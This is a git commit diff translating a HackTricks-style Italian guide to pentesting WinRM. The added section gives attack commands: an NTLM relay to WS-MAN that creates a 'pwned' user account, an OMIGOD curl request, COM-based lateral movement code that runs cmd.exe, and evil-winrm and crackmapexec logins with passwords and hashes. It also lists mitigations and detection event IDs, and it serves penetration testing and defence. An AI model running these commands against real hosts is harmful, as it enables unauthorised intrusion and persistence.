Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:19 +00:00
parent 4385d62acf
commit 1ca54d78c3

View File

@ -15,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
### **Iniziare una sessione WinRM** ### **Iniziare una sessione WinRM**
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile: Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
```bash ```bash
Enable-PSRemoting -Force Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts * Set-Item wsman:\localhost\client\trustedhosts *
@ -28,9 +28,9 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
``` ```
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano. Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
### Testare se configurato ### Verifica se configurato
Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato: Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo: - Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
```bash ```bash
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby ```ruby
gem install evil-winrm gem install evil-winrm
``` ```
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby ```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain> evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
``` ```
@ -220,8 +220,73 @@ end
- `port:5985 Microsoft-HTTPAPI` - `port:5985 Microsoft-HTTPAPI`
---
## Vulnerabilità Recenti e Tecniche Offensive (2021-2025)
### Relay NTLM direttamente a WinRM (WS-MAN)
Dalla versione 0.11 di Impacket (Maggio 2023) `ntlmrelayx.py` può rilanciare le credenziali NTLM catturate direttamente a un listener **WS-MAN**/WinRM. Quando un host continua ad ascoltare su **HTTP non criptato (5985)**, un attaccante può combinare *mitm6* (o *Responder*) per forzare l'autenticazione e ottenere l'esecuzione di codice a livello SYSTEM:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigazioni
* Disabilita i listener HTTP `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* Forza HTTPS e abilita la Protezione Estesa per l'Autenticazione (EPA) sulle versioni recenti di Windows.
### OMIGOD CVE-2021-38647 (Azure OMI)
Gli agenti Linux di Azure utilizzano il servizio **Open Management Infrastructure (OMI)** che espone l'API WinRM/WS-MAN sulle porte **5985/5986**. Un errore logico ha consentito **RCE non autenticato come root**:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
Patch o rimuovi OMI (versione ≥ 1.6.8-1) e blocca quelle porte da Internet.
### Abuso di WSMan.Automation COM per movimento laterale
WinRM può essere controllato senza PowerShell tramite l'oggetto COM `WSMan.Automation` utile su sistemi in modalità Constrained-Language. Strumenti come *SharpWSManWinRM* avvolgono questa tecnica:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
La catena di esecuzione (`svchost → wmiprvse → cmd.exe`) è identica al classico PS-Remoting.
---
## Aggiornamenti degli strumenti
* **Evil-WinRM v3.x (2024)** ora supporta l'autenticazione **Kerberos** (`-k` / `--spn`) e l'autenticazione **basata su certificato** (`--cert-pem`/`--key-pem`), registrazione delle sessioni (`-L`) e la possibilità di disabilitare il completamento del percorso remoto (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** offre WinRM e PS-Remoting da Linux, inclusi CredSSP e Kerberos:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Rilevamento** monitora il registro **Microsoft-Windows-WinRM/Operational**:
* Evento 91 / 163 shell creata
* Evento 182 errore di autenticazione
* Nel registro di Sicurezza, l'evento 4262 registra l'IP sorgente (aggiunto nei CUs di luglio 2022).
Raccogli questi dati centralmente e invia avvisi su IP anonimi o esterni.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Riferimenti ## Riferimenti
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Comandi Automatici ## HackTricks Comandi Automatici